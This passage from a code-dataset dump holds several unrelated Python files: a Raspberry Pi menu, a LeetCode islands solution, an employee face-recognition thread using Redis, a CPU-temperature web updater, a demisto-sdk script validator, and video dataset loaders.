0)\n","sub_path":"deprecated/mesh_read.py","file_name":"mesh_read.py","file_ext":"py","file_size_in_byte":2478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"376053196","text":"from numpy import array\nfrom Raspberry import Dionysos as Game\n\n\nclass Menu:\n __cursor_pos = 0\n __games = ['tetris', 'snake']\n __selection = [] # ring around\n input = None\n\n def __init__(self, dionysos):\n self.dy = dionysos\n\n def start(self):\n self.__draw_menu()\n print(\"Menü gezeichnet\")\n self.input = Game.Input()\n self.input.allowed_keys([\"w\", \"s\", \"#\"])\n self.input.listener_start()\n\n while self.input.get_key() != \"#\":\n self.move_cursor(self.input.get_key())\n\n self.input.stop_listener()\n\n def get_pos(self):\n return self.__cursor_pos\n\n def __draw_menu(self):\n Game.Dionysos.clear_screen(self.dy)\n print(\"Menü wird gezeichnet\")\n\n # Dionysos.Dionysos.add_pixel(self.dy, array([[0], [0], [1], [55000]]))\n #\n\n def move_cursor(self, direction):\n # change color of selection\n # --> draw circle around selector ?\n # --> color of selector\n if direction == 'w':\n self.cursor_pos -= 1\n if self.cursor_pos < 0:\n self.cursor_pos = len(self.games)\n elif direction == 's':\n self.cursor_pos += 1\n if self.cursor_pos > len(self.games):\n self.cursor_pos = 0\n\n # delete old selection positions\n # add new positions\n # print screen\n","sub_path":"Raspberry/Menu.py","file_name":"Menu.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"351692584","text":"from typing import List\n\nclass Solution:\n def create(self, n):\n self.array = [i for i in range(n)]\n self.n = n\n \n def parent(self, i):\n \"\"\" 返回i的根节点\n array[i] 中存放 i的根, 如果 array[i] == i, 说明这个点是根节点\n \"\"\"\n if self.array[i] == i:\n return i\n self.array[i] = self.parent(self.array[i])\n return self.array[i]\n\n def merge(self, i, j):\n \"\"\"\n 合并i,j为一组,如果已经是一组,无影响\n \"\"\"\n if i > j:\n return self.merge(j, i)\n pi = self.parent(i)\n pj = self.parent(j)\n if pi != pj:\n self.array[pj] = pi\n self.n -= 1\n def count(self):\n \"\"\"\n 返回不同的集合数量\n \"\"\"\n return self.n\n def numIslands(self, grid: List[List[str]]) -> int:\n zero_count = 0\n m = len(grid)\n if m == 0: return 0\n n = len(grid[0])\n if n == 0: return 0\n self.create(m * n)\n for i in range(m):\n for j in range(n):\n if grid[i][j] == '0':\n zero_count += 1\n continue\n if i == 0 and j > 0:\n if grid[i][j] == grid[i][j-1]:\n self.merge(i * n + j, i * n + j - 1)\n if i > 0 and j == 0:\n if grid[i][j] == grid[i-1][j]:\n self.merge(i * n + j, (i - 1) * n + j)\n if i > 0 and j > 0:\n if grid[i][j] == grid[i-1][j]:\n self.merge(i * n + j, (i - 1) * n + j)\n if grid[i][j] == grid[i][j-1]:\n self.merge(i * n + j, i * n + j - 1)\n count = self.count()\n return count - zero_count\n\ns = Solution()\ngrid = [[\"1\",\"1\",\"1\",\"1\",\"0\"],\n [\"1\",\"1\",\"0\",\"1\",\"0\"],\n [\"1\",\"1\",\"0\",\"0\",\"0\"],\n [\"0\",\"0\",\"0\",\"0\",\"0\"]]\nexpected = 1\nans = s.numIslands(grid)\nassert ans == expected\n\n\ngrid = [[\"1\",\"1\",\"1\",\"1\",\"0\"],\n [\"1\",\"1\",\"0\",\"1\",\"0\"],\n [\"0\",\"0\",\"0\",\"0\",\"1\"],\n [\"1\",\"1\",\"1\",\"0\",\"0\"]]\nexpected = 3\nans = s.numIslands(grid)\nassert ans == expected\n\n\nend = 10","sub_path":"docs/leetcode/200/200.py","file_name":"200.py","file_ext":"py","file_size_in_byte":2221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"119560731","text":"# -*- coding: UTF-8 -*-\nimport sys\nsys.path.append('/home/face/faceRec/root/face_sdk/bin/')\n\nimport json\nimport os\nimport shutil\n\nimport threading\nimport time\nimport cv2\nimport redis\n\nimport gParam\n# from faceRecognize import faceRecognize\nfrom inspection import Inspection\nfrom mongo.mongodb import base64_pic, features_abstract\nfrom utils.utils import setting\n\n\nclass FaceDetect(threading.Thread):\n \"\"\"\n 从图片中捕捉到人脸,并进行识别\n 整体的逻辑:\n 每张截图与数据库中所有人脸比较,得到3个变量 finding,repeating,MatchInfo\n 根据finding与repeating判断出 找到员工,重复找到员工,无匹配者三种情况并分别处理\n 当超过规定时间时则发送相应报文,结束识别\n attr setting:\n self.time_limit: 设定时间限制\n self.period: 设定多长时间识别一张视频帧\n self.TaskID: 设定存入redis缓存的key\n self.PersonCount: 设定检测现场的人数\n \"\"\"\n def __init__(self):\n threading.Thread.__init__(self)\n self.setting_json = gParam.Setting_Json\n self.videosplit_path = gParam.VideoSplit_Path\n\n self.face_path = gParam.Face_Path\n self.face_db = gParam.FaceDB_Path\n self.faceclipxml_path = gParam.FaceClipXml_Path\n\n # 以下这3个数据在一次StartIdentify事件或Sync之后要全部更新\n # face_datas中保存数据库中所有员工的信息列表,包括人脸特征\n # self.face_datas = features_abstract()\n # face_datas_flags是用来看有没有多次识别\n # self.face_datas_flags = [0]*len(self.face_datas)\n # person_num保存识别出员工的工号\n self.person_num = []\n\n # 本次识别的各种设定\n self.time_limit = 5\n self.period = 1\n self.TaskID = 'TaskID'\n self.PersonCount = 1\n\n self.rq = redis.Redis(host='127.0.0.1', port=6379)\n # 下面的是之前写的,应该不起作用\n with open(gParam.Client_Server_Cfg, 'r') as f:\n configuration = json.loads(f.read())\n # print('客户端与服务端TCP连接配置如下', configuration)\n self.ins = Inspection(configuration['REDIS_HOST'])\n \n\n def opencv_clip(self, frame, frame_name, xml):\n \"\"\"\n args:\n frame: ndarray, 视频截图\n frame_name: 视频截图的绝对地址\n xml: str, 存放截取用配置文件\n returns: \n facename_list: list, 存放脸的地址,没有脸则为[]\n \"\"\"\n face_cascade = cv2.CascadeClassifier(xml)\n \n gray = cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY)\n \n faces = face_cascade.detectMultiScale(gray,1.3,5)\n facename_list = []\n name_time = time.time()\n if(len(faces)>0):\n for ind, (x,y,w,h) in enumerate(faces):\n img_part = frame[y:y+h,x:x+w]\n face_name = os.path.join(self.face_path,str(name_time)+str(ind)+'.jpg')\n cv2.imwrite(face_name, img_part)\n facename_list.append(face_name)\n #图片两张人脸的话face长度 一张人脸就长度为1吗?\n return facename_list\n\n def clip_face(self, frame_name):\n \"\"\"从一张图片中截取下人脸部分\n args:\n frame_name: str, 视频流截图的绝对地址\n returns:\n facename_list: list, 存放截取的人脸图像的地址列表\n \"\"\"\n xml = os.path.join(self.faceclipxml_path,'haarcascade_frontalface_default.xml')\n facename_list = []\n frame = cv2.imread(frame_name)\n \n facename_list = self.opencv_clip(frame, frame_name, xml)\n\n return facename_list\n\n def feature_compare(self, f1, f2):\n \"\"\"\n args:\n f1: list, 存放截取图片的feature\n f2: list, 存放数据库人脸的feature\n returns:\n sum: float, f1与f2的相似度\n \"\"\"\n sum = 0\n for ind, ele1 in enumerate(f1):\n ele2 = float(f2[ind])\n sum += float(ele1)*ele2 \n \n return sum \n\n def face_identify(self, facename):\n \"\"\"从face_db库中识别人脸\n args:\n facename: string, 存放截取出的人脸的地址\n returns:\n finding: bool, 有没有找到对应者\n repeating: bool, 找到的是不是重复者\n err_img_path: string, 存放未找到对应员工的图片的位置\n MatchInfo: dict, {pic: base64, 识别时的截图\n matches:{\n matchPic: base64, 照片库中的匹配照片\n matchCode: string,\n matchType: string,\n matchPercent: int, 相似度 \n }}\n \"\"\"\n matches = []\n finding = False\n repeating = False\n err_img_path = facename\n\n # f1, self.face_datas, img_pic三花聚顶\n fr = faceRecognize()\n f1 = fr.get_feature(facename)\n img_pic = base64_pic(facename)\n\n # f1本来是二维的list\n try:\n f1=f1[0]\n except:\n # 利用一种不可能出现的逻辑情况做debug\n return False,True,err_img_path,b'wtx'\n\n n = 0\n for face_data in self.face_datas:\n f2 = face_data['feature']\n # f2本来是string\n f2 = eval(f2)\n matchType = face_data['type']\n similar = self.feature_compare(f1, f2)\n # print(\".....................\")\n # print(\"similarity...........\")\n # print(similar)\n\n # 一般来讲一个图片就只会匹配到一个员工,但是也可能出现识别出多个相似度高的情况,\n # 此时就显示出matches的重要性了\n # 由于这里的逻辑完全无法走通,比如我可能匹配到很多人,但是我还要判断识别了多少人,这就是不可能的事情,所以说当有一张脸匹配到多张照片的时候,匹配到的多个身份全部认为到场,添加到person_num中!!!!!!!!!!!!!!!!!!!!!!!!!!\n if int(similar*100)>=60 and self.face_datas_flags[n]==0:\n finding = True\n self.person_num.append(face_data['code'])\n matchPic = base64_pic(face_data['pic'])\n match={\n 'matchPic':matchPic,\n 'matchCode':face_data['code'],\n 'matchType':matchType,\n 'matchPercent':similar,\n }\n matches.append(match)\n self.face_datas_flags[n] = 1\n elif int(similar*100)>=60 and self.face_datas_flags[n]!=0:\n finding = True\n repeating = True\n else:\n pass\n n += 1\n \n MatchInfo = {\n 'pic': img_pic,\n 'matches': matches\n }\n return finding, repeating, err_img_path, MatchInfo\n\n def update(self):\n \"\"\"每次识别任务结束后都更新一下\n \"\"\"\n self.face_datas = features_abstract()\n self.face_datas_flags = [0]*len(self.face_datas)\n self.person_num = []\n\n def detect_face(self):\n while True:\n status = {}\n with open(self.setting_json) as f:\n status = json.load(f)\n if status['status']=='run' and status['command']=='StartIdentify':\n start_time = time.time()\n person_count = 0\n \n while True:\n # print(\"facedetect-----已经开启\")\n try:\n \"\"\" 取出视频流的最新截图,从中截取人脸,保存人脸文件到gParam.Face_Path\n \"\"\"\n lists = []\n lists = os.listdir(self.videosplit_path)\n try:\n lists.sort(key=lambda fn: os.path.getmtime(os.path.join(self.videosplit_path,fn)))\n # frame_name = os.path.join(self.videosplit_path, lists[-1])\n frame_name = os.path.join(self.videosplit_path,\"1581607991.216811.jpg\")\n \n except:\n frame_name = None\n print('frame_name = None')\n facename_list = self.clip_face(frame_name)\n # time.sleep(0.3)\n # print('frame_name:', frame_name)\n # print('facename_list', facename_list)\n except:\n print(\"有错误\")\n \n for facename in facename_list:\n finding, repeating, err_img_path, MatchInfo = self.face_identify(facename)\n # 根据返回信息决定如何发送报文\n # 正常找到照片对应员工\n if finding==True and repeating==False:\n rt_data = {\n 'Command': 'rt_StartIdentify',\n 'TaskID': self.TaskID,\n 'Retval': 'OK',\n 'MatchInfo': json.dumps(MatchInfo)\n }\n rt_data = json.dumps(rt_data)\n if type(rt_data)==str:\n rt_data = rt_data.encode()\n self.rq.lpush(self.TaskID, rt_data)\n time.sleep(1)\n # 没有找到与图片对应的数据库照片\n elif finding==False and repeating==False:\n reason = {\n 'ErrorCode':'0002',\n 'ErrorMessage':'find unmatched person'\n }\n rt_data = {\n 'Command': 'rt_StartIdentify',\n 'TaskID': self.TaskID,\n 'Retval': 'Error',\n 'Reason': json.dumps(reason),\n 'DismatchPic': MatchInfo['pic']\n }\n rt_data = json.dumps(rt_data)\n if type(rt_data)==str:\n rt_data = rt_data.encode()\n self.rq.lpush(self.TaskID, rt_data)\n time.sleep(1)\n elif finding==False and repeating==True:\n print('facedetect-----err_img_path---------',err_img_path)\n else:\n pass\n \n # 判断有没有超时\n cur_time = time.time()\n # print('time-----------------', cur_time-start_time)\n if cur_time-start_time > self.time_limit: \n # 发送retval为error的报文,并主动停止\n if self.person_num == []:\n rt_data = self.ins.rt_startidentify(self.TaskID, Retval='Error', Reason='TimeOut')\n if type(rt_data)==str:\n rt_data = rt_data.encode()\n self.rq.lpush(self.TaskID, rt_data)\n else :\n errormessage = 'just match ' + str(len(self.person_num))\n reason = {\n 'ErrorCode':'0003',\n 'ErrorMessage':errormessage\n }\n rt_data = {\n 'Command': 'rt_StartIdentify',\n 'TaskID': self.TaskID,\n 'Retval': 'Error',\n 'Reason': json.dumps(reason)\n }\n rt_data = json.dumps(rt_data)\n if type(rt_data)==str:\n rt_data = rt_data.encode()\n self.rq.lpush(self.TaskID, rt_data)\n \n print(\"facedetect-----time out! Stop!\")\n setting(status='stop', command='none', writing=True)\n \n with open(self.setting_json) as f:\n data = json.load(f)\n if not (data['status']=='run' and data['command']=='StartIdentify'):\n print(\"facedetect-----停止人脸识别\")\n # 将本地文件中的截取的视频流图片删除,节省空间\n lists = os.listdir(self.videosplit_path)\n lists.sort(reverse=True, key=lambda fn: os.path.getmtime(self.videosplit_path + \"/\" + fn))\n try:\n for i in lists[3:]:\n os.remove(os.path.join(self.videosplit_path, i))\n print(\"facedetect-----清理冗余文件\")\n except:\n print(\"facedetect-----无冗余文件\")\n while self.rq.llen(self.TaskID)>0:\n self.rq.rpop(self.TaskID)\n print('facedetect-----清理redis缓存成功')\n self.update()\n break\n # 现在是根据这里的设定来决定多长时间截取一次人脸\n time.sleep(self.period)\n else:\n print(\"facedetect-----未开启人脸识别\")\n time.sleep(3)\n # break\n \n\n def run(self):\n self.detect_face()\nif __name__==\"__main__\":\n cc=FaceDetect()\n cc.run()","sub_path":"src/facedetect.py","file_name":"facedetect.py","file_ext":"py","file_size_in_byte":14139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"60120531","text":"##############||CPUTemp auslesen und in Variable speichern||##############\r\n \r\nfrom time import sleep\r\n\r\nwhile True:\r\n\r\n print(\"Entering Loop\")\r\n with open('/sys/class/thermal/thermal_zone0/temp', 'r') as f:\r\n temp = f.read()\r\n temp = float(temp) / 1000\r\n temp = round(temp, 2)\r\n print(temp)\r\n\r\n #########################################################################\r\n\r\n data = []\r\n\r\n with open('/var/www/html/index.html', 'r') as file:\r\n for line in file:\r\n data.append(line)\r\n #print(data)\r\n\r\n for i, line in enumerate(data):\r\n if \"CPUTemp =\" in line:\r\n data[i] = \"CPUTemp = \" + str(temp) + \"\\n\"\r\n\r\n data = ''.join(data)\r\n with open('/var/www/html/index.html', 'w') as file:\r\n file.write(data)\r\n print(\"Wrote Temp to HTML\")\r\n sleep(2)\r\n","sub_path":"cputempv2.py","file_name":"cputempv2.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"388354824","text":"import os\nimport re\n\nfrom demisto_sdk.commands.common.constants import (API_MODULES_PACK,\n DEPRECATED_REGEXES,\n PYTHON_SUBTYPES, TYPE_PWSH)\nfrom demisto_sdk.commands.common.errors import Errors\nfrom demisto_sdk.commands.common.hook_validations.content_entity_validator import \\\n ContentEntityValidator\nfrom demisto_sdk.commands.common.hook_validations.docker import \\\n DockerImageValidator\nfrom demisto_sdk.commands.common.tools import (get_core_pack_list,\n get_files_in_dir, get_pack_name,\n is_v2_file,\n server_version_compare)\n\n\nclass ScriptValidator(ContentEntityValidator):\n \"\"\"ScriptValidator is designed to validate the correctness of the file structure we enter to content repo. And\n also try to catch possible Backward compatibility breaks due to the preformed changes.\n \"\"\"\n\n def is_valid_version(self) -> bool:\n if self.current_file.get('commonfields', {}).get('version') != self.DEFAULT_VERSION:\n error_message, error_code = Errors.wrong_version()\n if self.handle_error(error_message, error_code, file_path=self.file_path):\n return False\n\n return True\n\n @classmethod\n def _is_sub_set(cls, supposed_bigger_list, supposed_smaller_list):\n # type: (list, list) -> bool\n \"\"\"Check if supposed_smaller_list is a subset of the supposed_bigger_list\"\"\"\n for check_item in supposed_smaller_list:\n if check_item not in supposed_bigger_list:\n return False\n return True\n\n def is_backward_compatible(self):\n # type: () -> bool\n \"\"\"Check if the script is backward compatible.\"\"\"\n if not self.old_file:\n return True\n\n is_breaking_backwards = [\n self.is_context_path_changed(),\n self.is_added_required_args(),\n self.is_arg_changed(),\n self.is_there_duplicates_args(),\n self.is_changed_subtype()\n ]\n\n # Add sane-doc-report exception\n # Sane-doc-report uses docker and every fix/change requires a docker tag change,\n # thus it won't be backwards compatible.\n # All other tests should be False (i.e. no problems)\n if self.file_path == 'Scripts/SaneDocReport/SaneDocReport.yml':\n return not any(is_breaking_backwards[1:])\n return not any(is_breaking_backwards)\n\n def is_valid_file(self, validate_rn=True):\n # type: (bool) -> bool\n \"\"\"Check whether the script is valid or not\"\"\"\n is_script_valid = all([\n super().is_valid_file(validate_rn),\n self.is_valid_subtype(),\n self.is_id_equals_name(),\n self.is_docker_image_valid(),\n self.is_valid_pwsh(),\n self.is_valid_script_file_path(),\n self.is_there_separators_in_names()\n ])\n # check only on added files\n if not self.old_file:\n is_script_valid = all([\n is_script_valid,\n self.is_valid_name()\n ])\n core_packs_list = get_core_pack_list()\n\n pack = get_pack_name(self.file_path)\n is_core = True if pack in core_packs_list else False\n if is_core:\n is_script_valid = all([\n is_script_valid,\n self.no_incident_in_core_pack()\n ])\n return is_script_valid\n\n @classmethod\n def _get_arg_to_required_dict(cls, script_json):\n \"\"\"Get a dictionary arg name to its required status.\n\n Args:\n script_json (dict): Dictionary of the examined script.\n\n Returns:\n dict. arg name to its required status.\n \"\"\"\n arg_to_required = {}\n args = script_json.get('args', [])\n for arg in args:\n arg_to_required[arg.get('name')] = arg.get('required', False)\n return arg_to_required\n\n def is_changed_subtype(self):\n \"\"\"Validate that the subtype was not changed.\"\"\"\n type_ = self.current_file.get('type')\n if type_ == 'python':\n subtype = self.current_file.get('subtype')\n if self.old_file:\n old_subtype = self.old_file.get('subtype', \"\")\n if old_subtype and old_subtype != subtype:\n error_message, error_code = Errors.breaking_backwards_subtype()\n if self.handle_error(error_message, error_message, file_path=self.file_path,\n warning=self.structure_validator.quite_bc):\n return True\n\n return False\n\n def is_valid_subtype(self):\n \"\"\"Validate that the subtype is python2 or python3.\"\"\"\n type_ = self.current_file.get('type')\n if type_ == 'python':\n subtype = self.current_file.get('subtype')\n if subtype not in PYTHON_SUBTYPES:\n error_message, error_code = Errors.wrong_subtype()\n if self.handle_error(error_message, error_code, file_path=self.file_path):\n return False\n\n return True\n\n def is_added_required_args(self):\n \"\"\"Check if required arg were added.\"\"\"\n current_args_to_required = self._get_arg_to_required_dict(self.current_file)\n old_args_to_required = self._get_arg_to_required_dict(self.old_file)\n\n for arg, required in current_args_to_required.items():\n if required:\n if (arg not in old_args_to_required) or \\\n (arg in old_args_to_required and required != old_args_to_required[arg]):\n error_message, error_code = Errors.added_required_fields(arg)\n if self.handle_error(error_message, error_code, file_path=self.file_path,\n warning=self.structure_validator.quite_bc):\n return True\n return False\n\n def no_incident_in_core_pack(self):\n \"\"\"check if args name contains the word incident\"\"\"\n args = self.current_file.get('args', [])\n strings_with_incident_list = []\n no_incidents = True\n for arg in args:\n if 'incident' in arg['name']:\n strings_with_incident_list.append(arg['name'])\n\n if strings_with_incident_list:\n error_message, error_code = Errors.incident_in_script_arg(strings_with_incident_list)\n if self.handle_error(error_message, error_code, file_path=self.file_path,\n suggested_fix=Errors.suggest_server_allowlist_fix()):\n self.is_valid = False\n no_incidents = False\n\n return no_incidents\n\n def is_there_duplicates_args(self):\n # type: () -> bool\n \"\"\"Check if there are duplicated arguments.\"\"\"\n args = [arg['name'] for arg in self.current_file.get('args', [])]\n if len(args) != len(set(args)) and not self.structure_validator.quite_bc:\n return True\n return False\n\n def is_arg_changed(self):\n # type: () -> bool\n \"\"\"Check if the argument has been changed.\"\"\"\n current_args = [arg['name'] for arg in self.current_file.get('args', [])]\n old_args = [arg['name'] for arg in self.old_file.get('args', [])]\n\n if not self._is_sub_set(current_args, old_args):\n error_message, error_code = Errors.breaking_backwards_arg_changed()\n if self.handle_error(error_message, error_code, file_path=self.file_path,\n warning=self.structure_validator.quite_bc):\n return True\n\n return False\n\n def is_context_path_changed(self):\n # type: () -> bool\n \"\"\"Check if the context path as been changed.\"\"\"\n current_context = [output['contextPath'] for output in self.current_file.get('outputs') or []]\n old_context = [output['contextPath'] for output in self.old_file.get('outputs') or []]\n\n if not self._is_sub_set(current_context, old_context):\n error_message, error_code = Errors.breaking_backwards_context()\n if self.handle_error(error_message, error_code, file_path=self.file_path,\n warning=self.structure_validator.quite_bc):\n return True\n\n return False\n\n def is_id_equals_name(self):\n \"\"\"Check whether the script's ID is equal to its name\n\n Returns:\n bool. Whether the script's id equals to its name\n \"\"\"\n return super(ScriptValidator, self)._is_id_equals_name('script')\n\n def is_docker_image_valid(self):\n # type: () -> bool\n # dockers should not be checked when running on all files\n # dockers should not be checked when running on ApiModules scripts\n if self.skip_docker_check or API_MODULES_PACK in self.file_path:\n return True\n\n docker_image_validator = DockerImageValidator(self.file_path, is_modified_file=True, is_integration=False,\n ignored_errors=self.ignored_errors,\n print_as_warnings=self.print_as_warnings,\n suppress_print=self.suppress_print,\n json_file_path=self.json_file_path)\n if docker_image_validator.is_docker_image_valid():\n return True\n return False\n\n def is_valid_name(self):\n # type: () -> bool\n if not is_v2_file(self.current_file):\n return True\n else:\n name = self.current_file.get('name')\n correct_name = \"V2\"\n if not name.endswith(correct_name): # type: ignore\n error_message, error_code = Errors.invalid_v2_script_name()\n if self.handle_error(error_message, error_code, file_path=self.file_path):\n return False\n\n return True\n\n def is_valid_pwsh(self) -> bool:\n if self.current_file.get(\"type\") == TYPE_PWSH:\n from_version = self.current_file.get(\"fromversion\", \"0.0.0\")\n if not from_version or server_version_compare(\"5.5.0\", from_version) > 0:\n error_message, error_code = Errors.pwsh_wrong_version(from_version)\n if self.handle_error(error_message, error_code, file_path=self.file_path,\n suggested_fix=Errors.suggest_fix(self.file_path, '--from-version', '5.5.0')):\n return False\n\n return True\n\n def is_valid_as_deprecated(self) -> bool:\n is_valid = True\n is_deprecated = self.current_file.get('deprecated', False)\n comment = self.current_file.get('comment', '')\n deprecated_v2_regex = DEPRECATED_REGEXES[0]\n deprecated_no_replace_regex = DEPRECATED_REGEXES[1]\n if is_deprecated:\n if re.search(deprecated_v2_regex, comment) or re.search(deprecated_no_replace_regex, comment):\n pass\n else:\n error_message, error_code = Errors.invalid_deprecated_script()\n if self.handle_error(error_message, error_code, file_path=self.file_path):\n is_valid = False\n return is_valid\n\n def is_valid_script_file_path(self) -> bool:\n absolute_file_path = self.file_path\n scripts_folder = os.path.basename(os.path.dirname(absolute_file_path))\n script_file = os.path.basename(absolute_file_path)\n script_file, _ = os.path.splitext(script_file)\n\n if scripts_folder == 'Scripts':\n if not script_file.startswith('script-'):\n\n error_message, error_code = Errors.is_valid_script_file_path_in_scripts_folder(script_file)\n if self.handle_error(error_message, error_code, file_path=self.file_path):\n return False\n\n elif script_file != scripts_folder:\n valid_script_file = script_file.replace('-', '').replace('_', '')\n\n if valid_script_file.lower() != scripts_folder.lower():\n error_message, error_code = Errors.is_valid_script_file_path_in_folder(script_file)\n if self.handle_error(error_message, error_code, file_path=self.file_path):\n return False\n\n return True\n\n def is_there_separators_in_names(self) -> bool:\n \"\"\"\n Check if there are separators in the script folder or files.\n\n Returns:\n true if the folder/files names are valid and there are no separators, and false if not.\n \"\"\"\n is_unified_script = self.current_file.get('script', '') not in ['-', '']\n\n if is_unified_script:\n return True\n\n answers = [\n self.check_separators_in_folder(),\n self.check_separators_in_files()\n ]\n\n return all(answers)\n\n def check_separators_in_folder(self) -> bool:\n \"\"\"\n Check if there are separators in the script folder name.\n\n Returns:\n true if the name is valid and there are no separators, and false if not.\n \"\"\"\n\n script_folder_name = os.path.basename(os.path.dirname(self.file_path))\n valid_folder_name = self.remove_separators_from_name(script_folder_name)\n\n if valid_folder_name != script_folder_name:\n error_message, error_code = Errors.folder_name_has_separators('script', script_folder_name,\n valid_folder_name)\n if self.handle_error(error_message, error_code, file_path=self.file_path):\n self.is_valid = False\n return False\n\n return True\n\n def check_separators_in_files(self):\n \"\"\"\n Check if there are separators in the script files names.\n\n Returns:\n true if the files names are valid and there is no separators, and false if not.\n \"\"\"\n\n # Gets the all script files that may have the script name as base name\n files_to_check = get_files_in_dir(os.path.dirname(self.file_path), ['yml', 'py'], False)\n valid_files = []\n invalid_files = []\n\n for file_path in files_to_check:\n\n file_name = os.path.basename(file_path)\n\n if file_name.endswith('_test.py') or file_name.endswith('_unified.yml'):\n base_name = file_name.rsplit('_', 1)[0]\n\n else:\n base_name = file_name.rsplit('.', 1)[0]\n\n valid_base_name = self.remove_separators_from_name(base_name)\n\n if valid_base_name != base_name:\n valid_files.append(valid_base_name.join(file_name.rsplit(base_name, 1)))\n invalid_files.append(file_name)\n\n if invalid_files:\n\n error_message, error_code = Errors.file_name_has_separators('script', invalid_files, valid_files)\n if self.handle_error(error_message, error_code, file_path=self.file_path):\n self.is_valid = False\n return False\n\n return True\n","sub_path":"demisto_sdk/commands/common/hook_validations/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":15207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"369074600","text":"import torch\nimport torch.utils.data as data\nfrom PIL import Image\nimport os\nimport pickle\nimport math\nimport functools\nimport json\nimport copy\nimport random\nfrom spatial_transforms import Compose\nfrom utils import load_value_file\nimport numpy as np\nimport imgaug as ia\nfrom imgaug import augmenters as iaa\n\ndef pil_loader(path):\n # open path as file to avoid ResourceWarning (https://github.com/python-pillow/Pillow/issues/835)\n with open(path, 'rb') as f:\n with Image.open(f) as img:\n return img.convert('RGB')\n\n\ndef accimage_loader(path):\n try:\n import accimage\n return accimage.Image(path)\n except IOError:\n # Potentially a decoding problem, fall back to PIL.Image\n return pil_loader(path)\n\n\ndef get_default_image_loader():\n from torchvision import get_image_backend\n if get_image_backend() == 'accimage':\n return accimage_loader\n else:\n return pil_loader\n\n\ndef video_loader(video_dir_path, frame_indices, image_loader):\n video = []\n for i in frame_indices:\n image_path = os.path.join(video_dir_path, '{:06d}.jpg'.format(i))\n if os.path.exists(image_path):\n video.append(image_loader(image_path))\n else:\n return video\n\n return video\n\n\ndef get_default_video_loader():\n image_loader = get_default_image_loader()\n return functools.partial(video_loader, image_loader=image_loader)\n\n\n\n\n##### Flow loader #######\n\ndef pil_loader_flow(path):\n # open path as file to avoid ResourceWarning (https://github.com/python-pillow/Pillow/issues/835)\n with open(path, 'rb') as f:\n with Image.open(f) as img:\n return img.convert('RGB').convert('L')\n\ndef pil_loader_depth(path):\n # open path as file to avoid ResourceWarning (https://github.com/python-pillow/Pillow/issues/835)\n with open(path, 'rb') as f:\n with Image.open(f) as img:\n return img.convert('RGB')\n\n\ndef get_default_image_loader_flow():\n from torchvision import get_image_backend\n if get_image_backend() == 'accimage':\n return accimage_loader\n else:\n return pil_loader_flow\n\ndef get_default_image_loader_depth():\n from torchvision import get_image_backend\n if get_image_backend() == 'accimage':\n return accimage_loader\n else:\n return pil_loader_depth\n\n\ndef video_loader_flow(video_dir_path, frame_indices, image_loader):\n video = []\n for i in frame_indices:\n image_path_u = os.path.join(video_dir_path, 'u_{:06d}.jpg'.format(i))\n image_path_v = os.path.join(video_dir_path, 'v_{:06d}.jpg'.format(i))\n\n if os.path.exists(image_path_u) and os.path.exists(image_path_v):\n video.append([image_loader(image_path_u), image_loader(image_path_v)])\n else:\n return video\n return video\n\n\ndef video_loader_depth(video_dir_path, frame_indices, image_loader):\n video = []\n for i in frame_indices:\n image_path = os.path.join(video_dir_path, '{:06d}.jpg'.format(i))\n if os.path.exists(image_path):\n video.append(image_loader(image_path))\n else:\n return video\n return video\n\n\ndef get_default_video_loader_flow():\n image_loader = get_default_image_loader_flow()\n return functools.partial(video_loader_flow, image_loader=image_loader)\n\ndef get_default_video_loader_depth():\n image_loader = get_default_image_loader_depth()\n return functools.partial(video_loader_depth, image_loader=image_loader)\n\n\ndef load_annotation_data(data_file_path):\n with open(data_file_path, 'r') as data_file:\n return json.load(data_file)\n\n\ndef get_class_labels(data):\n class_labels_map = {}\n index = 0\n for class_label in data['labels']:\n class_labels_map[class_label] = index\n index += 1\n return class_labels_map\n\n\ndef get_video_names_and_annotations(data, subset):\n video_names = []\n annotations = []\n\n for key, value in data['database'].items():\n this_subset = value['subset']\n if this_subset == subset:\n label = value['annotations']['label']\n video_names.append('{}/{}'.format(label, key))\n annotations.append(value['annotations'])\n\n return video_names, annotations\n\n\ndef make_dataset(root_path, annotation_path, subset, n_samples_for_each_video,\n sample_duration):\n data = load_annotation_data(annotation_path)\n video_names, annotations = get_video_names_and_annotations(data, subset)\n class_to_idx = get_class_labels(data)\n idx_to_class = {}\n for name, label in class_to_idx.items():\n idx_to_class[label] = name\n\n dataset = []\n for i in range(len(video_names)):\n if i % 1000 == 0:\n print('dataset loading [{}/{}]'.format(i, len(video_names)))\n\n if subset == 'training':\n subset_real = 'train'\n elif subset == 'validation':\n subset_real = 'val'\n else:\n subset_real = 'test'\n\n real_name = video_names[i].split('/')[1] + '_color'\n\n\n video_path = os.path.join(root_path, subset_real, real_name) # for all\n if not os.path.exists(video_path):\n video_path = os.path.join(root_path, 'train', real_name) # for all\n if not os.path.exists(video_path):\n video_path = os.path.join(root_path, 'val', real_name) # for all\n # video_path = os.path.join(root_path, 'train', real_name) # for split\n\n if not os.path.exists(video_path):\n print(video_path)\n continue\n\n n_frames_file_path = os.path.join(video_path, 'n_frames')\n n_frames = int(load_value_file(n_frames_file_path))\n if n_frames <= 0:\n continue\n\n begin_t = 1\n end_t = n_frames\n sample = {\n 'video': video_path,\n 'segment': [begin_t, end_t],\n 'n_frames': n_frames,\n 'video_id': video_names[i].split('/')[1]\n }\n if len(annotations) != 0:\n sample['label'] = class_to_idx[annotations[i]['label']]\n # sample['label'] = int(annotations[i]['label'])\n\n else:\n sample['label'] = -1\n\n if n_samples_for_each_video == 1:\n sample['frame_indices'] = list(range(0, n_frames))\n dataset.append(sample)\n else:\n if n_samples_for_each_video > 1:\n step = max(1,\n math.ceil((n_frames - 1 - sample_duration) /\n (n_samples_for_each_video - 1)))\n else:\n step = sample_duration\n for j in range(1, n_frames, step):\n sample_j = copy.deepcopy(sample)\n 